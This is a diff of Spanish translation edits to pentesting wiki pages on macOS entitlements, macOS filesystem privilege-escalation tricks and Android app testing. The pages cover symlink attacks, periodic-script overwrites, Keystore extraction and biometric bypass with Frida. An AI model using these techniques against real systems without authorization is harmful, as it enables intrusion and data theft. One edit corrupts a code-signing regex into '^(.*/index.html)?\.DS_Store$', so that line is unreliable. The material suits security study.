-Este derecho permite obtener el **puerto de tarea para cualquier** proceso, excepto el núcleo. Consulte [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Este derecho permite obtener el **puerto de tarea para cualquier** proceso, excepto el núcleo. Consulte [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.get-task-allow`
 
-Este derecho permite a otros procesos con el derecho **`com.apple.security.cs.debugger`** obtener el puerto de tarea del proceso ejecutado por el binario con este derecho y **inyectar código en él**. Consulte [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Este derecho permite a otros procesos con el derecho **`com.apple.security.cs.debugger`** obtener el puerto de tarea del proceso ejecutado por el binario con este derecho y **inyectar código en él**. Consulte [**esto para más información**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.cs.debugger`
 
@@ -33,7 +33,7 @@ Este derecho permite **cargar frameworks, plug-ins o bibliotecas sin estar firma
 
 ### `com.apple.private.security.clear-library-validation`
 
-Este derecho es muy similar a **`com.apple.security.cs.disable-library-validation`** pero **en lugar de** **deshabilitar directamente** la validación de bibliotecas, permite que el proceso **llame a una llamada al sistema `csops` para deshabilitarla**.\
+Este derecho es muy similar a **`com.apple.security.cs.disable-library-validation`** pero **en lugar de** **deshabilitar directamente** la validación de bibliotecas, permite al proceso **realizar una llamada al sistema `csops` para deshabilitarla**.\
 Consulte [**esto para más información**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
 
 ### `com.apple.security.cs.allow-dyld-environment-variables`
@@ -117,7 +117,7 @@ Es posible verificar quién tiene este acceso en _Configuración del Sistema_ >
 
 ### `kTCCServiceAccessibility`
 
-El proceso podrá **abusar de las características de accesibilidad de macOS**, lo que significa que, por ejemplo, podrá presionar combinaciones de teclas. Así que podría solicitar acceso para controlar una aplicación como Finder y aprobar el diálogo con este permiso.
+El proceso podrá **abusar de las funciones de accesibilidad de macOS**, lo que significa que, por ejemplo, podrá presionar combinaciones de teclas. Así que podría solicitar acceso para controlar una aplicación como Finder y aprobar el diálogo con este permiso.
 
 ## Medio
 
@@ -130,7 +130,7 @@ Este derecho permite **crear memoria que es escribible y ejecutable** al pasar l
 Este derecho permite **sobrescribir o parchear código C**, usar el obsoleto **`NSCreateObjectFileImageFromMemory`** (que es fundamentalmente inseguro), o usar el marco **DVDPlayback**. Consulta [**esto para más información**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
 
 > [!CAUTION]
-> Incluir este derecho expone tu aplicación a vulnerabilidades comunes en lenguajes de código inseguros en memoria. Considera cuidadosamente si tu aplicación necesita esta excepción.
+> Incluir este derecho expone tu aplicación a vulnerabilidades comunes en lenguajes de código inseguro en memoria. Considera cuidadosamente si tu aplicación necesita esta excepción.
 
 ### `com.apple.security.cs.disable-executable-page-protection`
 
@@ -156,7 +156,7 @@ Según esta publicación de blog, este permiso TCC generalmente se encuentra en
 [Array]
 [String] kTCCServiceAll
 ```
-Permitir que el proceso **solicite todos los permisos de TCC**.
+Permitir que el proceso **pida todos los permisos de TCC**.
 
 ### **`kTCCServicePostEvent`**
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md

@@ -10,15 +10,15 @@ Permisos en un **directorio**:
 - **escribir** - puedes **eliminar/escribir** **archivos** en el directorio y puedes **eliminar carpetas vacías**.
 - Pero **no puedes eliminar/modificar carpetas no vacías** a menos que tengas permisos de escritura sobre ellas.
 - **No puedes modificar el nombre de una carpeta** a menos que seas el propietario.
-- **ejecutar** - se te **permite recorrer** el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él, ni en subdirectorios.
+- **ejecutar** - se te **permite atravesar** el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él, ni en ningún subdirectorio.
 
-### Combinaciones Peligrosas
+### Combinaciones peligrosas
 
 **Cómo sobrescribir un archivo/carpeta propiedad de root**, pero:
 
 - Un **propietario de directorio** padre en la ruta es el usuario
 - Un **propietario de directorio** padre en la ruta es un **grupo de usuarios** con **acceso de escritura**
-- Un **grupo** de usuarios tiene acceso de **escritura** al **archivo**
+- Un **grupo** de usuarios tiene **acceso de escritura** al **archivo**
 
 Con cualquiera de las combinaciones anteriores, un atacante podría **inyectar** un **enlace simbólico/duro** en la ruta esperada para obtener una escritura arbitraria privilegiada.
 
@@ -30,7 +30,7 @@ Ejemplo en: [https://theevilbit.github.io/posts/exploiting_directory_permissions
 
 ## Enlace simbólico / Enlace duro
 
-### Archivo/carpeta permisiva
+### Archivo/carpeta permisivo
 
 Si un proceso privilegiado está escribiendo datos en un **archivo** que podría ser **controlado** por un **usuario de menor privilegio**, o que podría haber sido **creado previamente** por un usuario de menor privilegio. El usuario podría simplemente **apuntarlo a otro archivo** a través de un enlace simbólico o duro, y el proceso privilegiado escribirá en ese archivo.
 
@@ -38,7 +38,7 @@ Consulta en las otras secciones donde un atacante podría **abusar de una escrit
 
 ### Abrir `O_NOFOLLOW`
 
-La bandera `O_NOFOLLOW` cuando es utilizada por la función `open` no seguirá un symlink en el último componente de la ruta, pero seguirá el resto de la ruta. La forma correcta de prevenir seguir symlinks en la ruta es utilizando la bandera `O_NOFOLLOW_ANY`.
+La bandera `O_NOFOLLOW` cuando se usa en la función `open` no seguirá un symlink en el último componente de la ruta, pero seguirá el resto de la ruta. La forma correcta de prevenir el seguimiento de symlinks en la ruta es utilizando la bandera `O_NOFOLLOW_ANY`.
 
 ## .fileloc
 
@@ -58,7 +58,7 @@ Ejemplo:
 ```
 ## Descriptores de Archivo
 
-### Fuga de FD (sin `O_CLOEXEC`)
+### Filtración de FD (sin `O_CLOEXEC`)
 
 Si una llamada a `open` no tiene la bandera `O_CLOEXEC`, el descriptor de archivo será heredado por el proceso hijo. Así que, si un proceso privilegiado abre un archivo privilegiado y ejecuta un proceso controlado por el atacante, el atacante **heredará el FD sobre el archivo privilegiado**.
 
@@ -195,7 +195,7 @@ Sin embargo, hay algunos archivos cuya firma no será verificada, estos tienen l
 </dict>
 <key>rules2</key>
 ...
-<key>^(.*/)?\.DS_Store$</key>
+<key>^(.*/index.html)?\.DS_Store$</key>
 <dict>
 <key>omit</key>
 <true/>
@@ -248,12 +248,12 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
 # You can also create a dmg from an app using:
 hdiutil create -srcfolder justsome.app justsome.dmg
 ```
-Usualmente, macOS monta discos hablando con el servicio Mach `com.apple.DiskArbitrarion.diskarbitrariond` (proporcionado por `/usr/libexec/diskarbitrationd`). Si se agrega el parámetro `-d` al archivo plist de LaunchDaemons y se reinicia, almacenará registros en `/var/log/diskarbitrationd.log`.\
+Usualmente, macOS monta discos hablando con el servicio Mach `com.apple.DiskArbitration.diskarbitrationd` (proporcionado por `/usr/libexec/diskarbitrationd`). Si se agrega el parámetro `-d` al archivo plist de LaunchDaemons y se reinicia, almacenará registros en `/var/log/diskarbitrationd.log`.\
 Sin embargo, es posible usar herramientas como `hdik` y `hdiutil` para comunicarse directamente con el kext `com.apple.driver.DiskImages`.
 
 ## Escrituras Arbitrarias
 
-### Scripts sh periódicos
+### Scripts sh Periódicos
 
 Si tu script pudiera ser interpretado como un **script de shell**, podrías sobrescribir el **`/etc/periodic/daily/999.local`** script de shell que se activará todos los días.
 
@@ -312,7 +312,7 @@ Es posible escapar del sandbox de macOS con una escritura arbitraria en el siste
 
 ## Generar archivos escribibles como otros usuarios
 
-Esto generará un archivo que pertenece a root que es escribible por mí ([**código de aquí**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Esto también podría funcionar como privesc:
+Esto generará un archivo que pertenece a root y que es escribible por mí ([**código de aquí**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Esto también podría funcionar como privesc:
 ```bash
 DIRNAME=/usr/local/etc/periodic/daily
 
@@ -424,7 +424,7 @@ return 0;
 
 **Descriptores protegidos de macOS** son una característica de seguridad introducida en macOS para mejorar la seguridad y fiabilidad de las **operaciones de descriptores de archivo** en aplicaciones de usuario. Estos descriptores protegidos proporcionan una forma de asociar restricciones específicas o "guardias" con descriptores de archivo, que son aplicadas por el kernel.
 
-Esta característica es particularmente útil para prevenir ciertas clases de vulnerabilidades de seguridad, como **acceso no autorizado a archivos** o **condiciones de carrera**. Estas vulnerabilidades ocurren cuando, por ejemplo, un hilo está accediendo a una descripción de archivo dando **acceso a otro hilo vulnerable sobre ella** o cuando un descriptor de archivo es **heredado** por un proceso hijo vulnerable. Algunas funciones relacionadas con esta funcionalidad son:
+Esta característica es particularmente útil para prevenir ciertas clases de vulnerabilidades de seguridad, como **acceso no autorizado a archivos** o **condiciones de carrera**. Estas vulnerabilidades ocurren cuando, por ejemplo, un hilo está accediendo a una descripción de archivo dando **acceso a otro hilo vulnerable** o cuando un descriptor de archivo es **heredado** por un proceso hijo vulnerable. Algunas funciones relacionadas con esta funcionalidad son:
 
 - `guarded_open_np`: Abre un FD con una guardia
 - `guarded_close_np`: Ciérralo

src/mobile-pentesting/android-app-pentesting/README.md

@@ -76,7 +76,7 @@ Del archivo **strings.xml**, se puede descubrir información sensible como clave
 
 ### Tapjacking
 
-**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona sobre una aplicación víctima**. Una vez que oculta visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\
+**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oculta visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\
 En efecto, está **cegando al usuario para que no sepa que realmente está realizando acciones en la aplicación víctima**.
 
 Encuentra más información en:
@@ -181,7 +181,7 @@ Según este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacki
 
 ### Análisis Estático Automatizado de Código
 
-La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante **escanear** el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad.
+La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante el **escaneo** del **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad.
 
 Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**.
 
@@ -216,7 +216,7 @@ content-protocol.md
 
 > Primero que nada, necesitas un entorno donde puedas instalar la aplicación y todo el entorno (certificado CA de Burp, Drozer y Frida principalmente). Por lo tanto, se recomienda encarecidamente un dispositivo rooteado (emulado o no).
 
-### Análisis dinámico en línea
+### Análisis Dinámico en Línea
 
 Puedes crear una **cuenta gratuita** en: [https://appetize.io/](https://appetize.io). Esta plataforma te permite **subir** y **ejecutar** APKs, por lo que es útil para ver cómo se comporta un apk.
 
@@ -226,7 +226,7 @@ Incluso puedes **ver los registros de tu aplicación** en la web y conectarte a
 
 Gracias a la conexión ADB, puedes usar **Drozer** y **Frida** dentro de los emuladores.
 
-### Análisis dinámico local
+### Análisis Dinámico Local
 
 #### Usando un emulador
 
@@ -243,11 +243,11 @@ avd-android-virtual-device.md
 > [!NOTE]
 > Al crear un nuevo emulador en cualquier plataforma, recuerda que cuanto más grande sea la pantalla, más lento funcionará el emulador. Así que selecciona pantallas pequeñas si es posible.
 
-Para **instalar servicios de Google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen:
+Para **instalar servicios de google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen:
 
 ![](<../../images/image (277).png>)
 
-Además, ten en cuenta que en la **configuración de la VM de Android en Genymotion** puedes seleccionar **modo de red Bridge** (esto será útil si te conectarás a la VM de Android desde una VM diferente con las herramientas).
+Además, ten en cuenta que en la **configuración de la VM de Android en Genymotion** puedes seleccionar **Modo de Red Bridge** (esto será útil si te conectarás a la VM de Android desde una VM diferente con las herramientas).
 
 #### Usar un dispositivo físico
 
@@ -274,7 +274,7 @@ Los desarrolladores deben tener cuidado de exponer **información de depuración
 
 **Caché del Portapapeles**
 
-El marco **basado en portapapeles** de Android permite la funcionalidad de copiar y pegar en las aplicaciones, pero presenta un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copiar/pegar** para secciones sensibles de una aplicación, como los detalles de tarjetas de crédito, para prevenir filtraciones de datos.
+El marco **basado en portapapeles** de Android permite la funcionalidad de copiar y pegar en aplicaciones, pero presenta un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copiar/pegar** para secciones sensibles de una aplicación, como los detalles de tarjetas de crédito, para prevenir filtraciones de datos.
 
 **Registros de Fallos**
 
@@ -288,7 +288,7 @@ Las aplicaciones a menudo integran servicios como Google Adsense, que pueden ina
 
 ### Bases de Datos SQLite
 
-La mayoría de las aplicaciones utilizarán **bases de datos SQLite internas** para guardar información. Durante el pentest, echa un **vistazo** a las **bases de datos** creadas, los nombres de **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\
+La mayoría de las aplicaciones utilizarán **bases de datos SQLite internas** para guardar información. Durante el pentest, echa un **vistazo** a las **bases de datos** creadas, los nombres de las **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\
 Las bases de datos deberían estar ubicadas en `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`.
 
 Si la base de datos está guardando información confidencial y está **encriptada** pero puedes **encontrar** la **contraseña** dentro de la aplicación, sigue siendo una **vulnerabilidad**.
@@ -303,7 +303,7 @@ Drozer es una herramienta útil para **explotar actividades exportadas, servicio
 ### Explotando Actividades Exportadas
 
 [**Lee esto si quieres refrescar qué es una Actividad de Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
-También recuerda que el código de una actividad comienza en el **método `onCreate`**.
+También recuerda que el código de una actividad comienza en el método **`onCreate`**.
 
 **Bypass de Autorización**
 
@@ -313,14 +313,14 @@ Cuando una Actividad es exportada, puedes invocar su pantalla desde una aplicaci
 
 También puedes iniciar una actividad exportada desde adb:
 
-- El nombre del paquete es com.example.demo
-- El nombre de la actividad exportada es com.example.test.MainActivity
+- PackageName es com.example.demo
+- Exported ActivityName es com.example.test.MainActivity
 ```bash
 adb shell am start -n com.example.demo/com.example.test.MainActivity
 ```
 **NOTA**: MobSF detectará como malicioso el uso de _**singleTask/singleInstance**_ como `android:launchMode` en una actividad, pero debido a [esto](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente esto solo es peligroso en versiones antiguas (versiones de API < 21).
 
-> [!NOTE]
+> [!NOTA]
 > Ten en cuenta que un bypass de autorización no siempre es una vulnerabilidad, dependería de cómo funciona el bypass y qué información se expone.
 
 **Filtración de información sensible**
@@ -381,7 +381,7 @@ Cada vez que encuentres un deep link verifica que **no esté recibiendo datos se
 **Parámetros en la ruta**
 
 Debes **verificar también si algún deep link está utilizando un parámetro dentro de la ruta** de la URL como: `https://api.example.com/v1/users/{username}`, en ese caso puedes forzar un recorrido de ruta accediendo a algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
-Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación, podrías causar un **Open Redirect** (si parte de la ruta se usa como nombre de dominio), **toma de control de cuenta** (si puedes modificar los detalles de los usuarios sin un token CSRF y el endpoint vulnerable usó el método correcto) y cualquier otra vulnerabilidad. Más [info sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/).
+Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación, podrías ser capaz de causar un **Open Redirect** (si parte de la ruta se usa como nombre de dominio), **toma de control de cuenta** (si puedes modificar los detalles de los usuarios sin un token CSRF y el endpoint vulnerable usó el método correcto) y cualquier otra vulnerabilidad. Más [info sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/).
 
 **Más ejemplos**
 
@@ -391,11 +391,11 @@ Un [informe de bug bounty interesante](https://hackerone.com/reports/855618) sob
 
 - **Los certificados no siempre son inspeccionados adecuadamente** por las aplicaciones de Android. Es común que estas aplicaciones pasen por alto advertencias y acepten certificados autofirmados o, en algunos casos, vuelvan a usar conexiones HTTP.
 - **Las negociaciones durante el apretón de manos SSL/TLS son a veces débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace que la conexión sea susceptible a ataques de hombre en el medio (MITM), permitiendo a los atacantes descifrar los datos.
-- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles de usuario, de la interceptación por entidades maliciosas.
+- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles del usuario, de la interceptación por entidades maliciosas.
 
 #### Verificación de certificados
 
-Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no cifrados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa.
+Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa.
 
 #### SSL Pinning
 
@@ -403,9 +403,9 @@ SSL Pinning es una medida de seguridad donde la aplicación verifica el certific
 
 #### Inspección de tráfico
 
-Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través de la proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
+Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico encriptado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 
-Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA de la proxy. Este paso es crítico para inspeccionar el tráfico cifrado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
+Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar tráfico encriptado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
 
 #### Bypass de SSL Pinning
 
@@ -425,11 +425,11 @@ Es importante también buscar vulnerabilidades web comunes dentro de la aplicaci
 
 [Frida](https://www.frida.re) es un kit de herramientas de instrumentación dinámica para desarrolladores, ingenieros de reversa e investigadores de seguridad.\
 **Puedes acceder a la aplicación en ejecución y enganchar métodos en tiempo de ejecución para cambiar el comportamiento, cambiar valores, extraer valores, ejecutar diferentes códigos...**\
-Si deseas hacer pentesting en aplicaciones Android, necesitas saber cómo usar Frida.
+Si deseas hacer pentesting en aplicaciones de Android, necesitas saber cómo usar Frida.
 
-- Aprende a usar Frida: [**Tutorial de Frida**](frida-tutorial/)
+- Aprende a usar Frida: [**Tutorial de Frida**](frida-tutorial/index.html)
 - Algunas "GUI" para acciones con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
-- Ojection es excelente para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
+- Ojection es genial para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 - Puedes encontrar algunos scripts de Frida geniales aquí: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 - Intenta eludir mecanismos de anti-debugging / anti-frida cargando Frida como se indica en [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (herramienta [linjector](https://github.com/erfur/linjector-rs))
 
@@ -452,15 +452,15 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
 ```
 ### **Datos sensibles en Keystore**
 
-En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, **es posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría ser capaz de robar estos datos.
+En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, **es posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría robar estos datos.
 
 Incluso si una aplicación almacena datos en el keystore, los datos deben estar cifrados.
 
-Para acceder a los datos dentro del keystore, podrías usar este script de Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
+Para acceder a los datos dentro del keystore, puedes usar este script de Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
 ```bash
 frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
 ```
-### **Bypass de Huellas Dactilares/Biométricos**
+### **Bypass de huellas dactilares/bio-metría**
 
 Usando el siguiente script de Frida, podría ser posible **eludir la autenticación por huella dactilar** que las aplicaciones de Android podrían estar realizando para **proteger ciertas áreas sensibles:**
 ```bash
@@ -488,7 +488,7 @@ Los desarrolladores a menudo crean componentes proxy como actividades, servicios
 
 El peligro radica en permitir que los atacantes activen componentes de la aplicación no exportados o accedan a proveedores de contenido sensibles al desviar estos Intents. Un ejemplo notable es el componente `WebView` que convierte URLs en objetos `Intent` a través de `Intent.parseUri(...)` y luego los ejecuta, lo que puede llevar a inyecciones de Intent maliciosas.
 
-### Puntos Clave Esenciales
+### Conclusiones Esenciales
 
 - **Inyección de Intents** es similar al problema de Redirección Abierta en la web.
 - Los exploits implican pasar objetos `Intent` como extras, que pueden ser redirigidos para ejecutar operaciones inseguras.
@@ -502,7 +502,7 @@ Probablemente conozcas este tipo de vulnerabilidades de la web. Debes tener espe
 - **Inyección SQL:** Al tratar con consultas dinámicas o Content-Providers, asegúrate de usar consultas parametrizadas.
 - **Inyección de JavaScript (XSS):** Verifica que el soporte de JavaScript y Plugins esté deshabilitado para cualquier WebView (deshabilitado por defecto). [Más información aquí](webview-attacks.md#javascript-enabled).
 - **Inclusión de Archivos Locales:** Los WebViews deben tener el acceso al sistema de archivos deshabilitado (habilitado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [Más información aquí](webview-attacks.md#javascript-enabled).
-- **Cookies Eternas**: En varios casos, cuando la aplicación android finaliza la sesión, la cookie no se revoca o incluso podría guardarse en el disco.
+- **Cookies Eternas:** En varios casos, cuando la aplicación Android finaliza la sesión, la cookie no se revoca o incluso podría guardarse en el disco.
 - [**Secure Flag** en cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
 ---
@@ -532,13 +532,13 @@ El **analizador dinámico de MobSF** puede:
 
 - **Volcar datos de la aplicación** (URLs, registros, portapapeles, capturas de pantalla hechas por ti, capturas de pantalla hechas por "**Exported Activity Tester**", correos electrónicos, bases de datos SQLite, archivos XML y otros archivos creados). Todo esto se hace automáticamente excepto por las capturas de pantalla, necesitas presionar cuando quieras una captura de pantalla o necesitas presionar "**Exported Activity Tester**" para obtener capturas de pantalla de todas las actividades exportadas.
 - Capturar **tráfico HTTPS**
-- Usar **Frida** para obtener **información** **en tiempo de ejecución**
+- Usar **Frida** para obtener **información en tiempo de ejecución**
 
-Desde las versiones de Android **> 5**, comenzará **automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada.
+Desde las versiones de Android **> 5**, **iniciará automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada.
 
 **Frida**
 
-Por defecto, también usará algunos scripts de Frida para **eludir la fijación de SSL**, **detección de root** y **detección de depuradores** y para **monitorear APIs interesantes**.\
+Por defecto, también usará algunos scripts de Frida para **eludir la fijación de SSL**, **detección de root** y **detección de depurador** y para **monitorear APIs interesantes**.\
 MobSF también puede **invocar actividades exportadas**, tomar **capturas de pantalla** de ellas y **guardarlas** para el informe.
 
 Para **iniciar** la prueba dinámica presiona el botón verde: "**Start Instrumentation**". Presiona "**Frida Live Logs**" para ver los registros generados por los scripts de Frida y "**Live API Monitor**" para ver todas las invocaciones a métodos enganchados, argumentos pasados y valores devueltos (esto aparecerá después de presionar "Start Instrumentation").\
@@ -595,7 +595,7 @@ Esta es una **gran herramienta para realizar análisis estático con una GUI**
 
 ### [Qark](https://github.com/linkedin/qark)
 
-Esta herramienta está diseñada para buscar varias **vulnerabilidades relacionadas con la seguridad en aplicaciones Android**, ya sea en **código fuente** o **APKs empaquetados**. La herramienta también es **capaz de crear un APK "Proof-of-Concept" desplegable** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (Actividades expuestas, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba.
+Esta herramienta está diseñada para buscar varias **vulnerabilidades relacionadas con la seguridad en aplicaciones Android**, ya sea en **código fuente** o **APKs empaquetados**. La herramienta también es **capaz de crear un "Proof-of-Concept" APK desplegable** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (Actividades expuestas, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@@ -606,8 +606,8 @@ qark --java path/to/specific/java/file.java
 
 - Muestra todos los archivos extraídos para una fácil referencia
 - Descompone automáticamente archivos APK a formato Java y Smali
-- Analiza AndroidManifest.xml en busca de vulnerabilidades comunes y comportamientos
-- Análisis estático del código fuente para vulnerabilidades y comportamientos comunes
+- Analiza AndroidManifest.xml en busca de vulnerabilidades comunes y comportamiento
+- Análisis estático del código fuente para vulnerabilidades comunes y comportamiento
 - Información del dispositivo
 - y más
 ```bash
@@ -617,9 +617,9 @@ reverse-apk relative/path/to/APP.apk
 
 SUPER es una aplicación de línea de comandos que se puede utilizar en Windows, MacOS X y Linux, que analiza archivos _.apk_ en busca de vulnerabilidades. Lo hace descomprimiendo APKs y aplicando una serie de reglas para detectar esas vulnerabilidades.
 
-Todas las reglas están centradas en un archivo `rules.json`, y cada empresa o probador podría crear sus propias reglas para analizar lo que necesiten.
+Todas las reglas están centradas en un archivo `rules.json`, y cada empresa o tester podría crear sus propias reglas para analizar lo que necesiten.
 
-Descargue los últimos binarios en la [download page](https://superanalyzer.rocks/download.html)
+Descargue los últimos binarios en la [página de descarga](https://superanalyzer.rocks/download.html)
 ```
 super-analyzer {apk_file}
 ```
@@ -700,7 +700,7 @@ Encuentra una guía paso a paso para deofuscar el apk en [https://blog.lexfo.fr/
 
 Puedes subir un APK ofuscado a su plataforma.
 
-### [Deofuscar android App](https://github.com/In3tinct/deobfuscate-android-app)
+### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
 
 Esta es una herramienta LLM para encontrar cualquier vulnerabilidad de seguridad potencial en aplicaciones android y deofuscar el código de aplicaciones android. Utiliza la API pública de Gemini de Google.
 
@@ -722,7 +722,7 @@ APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **com
 
 AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate que incluye la colección de los últimos frameworks, tutoriales y laboratorios de diferentes expertos en seguridad e investigadores para ingeniería inversa y análisis de malware.
 
-## Referencias
+## References
 
 - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
 - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Es una gran lista de recursos
@@ -731,7 +731,7 @@ AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate q
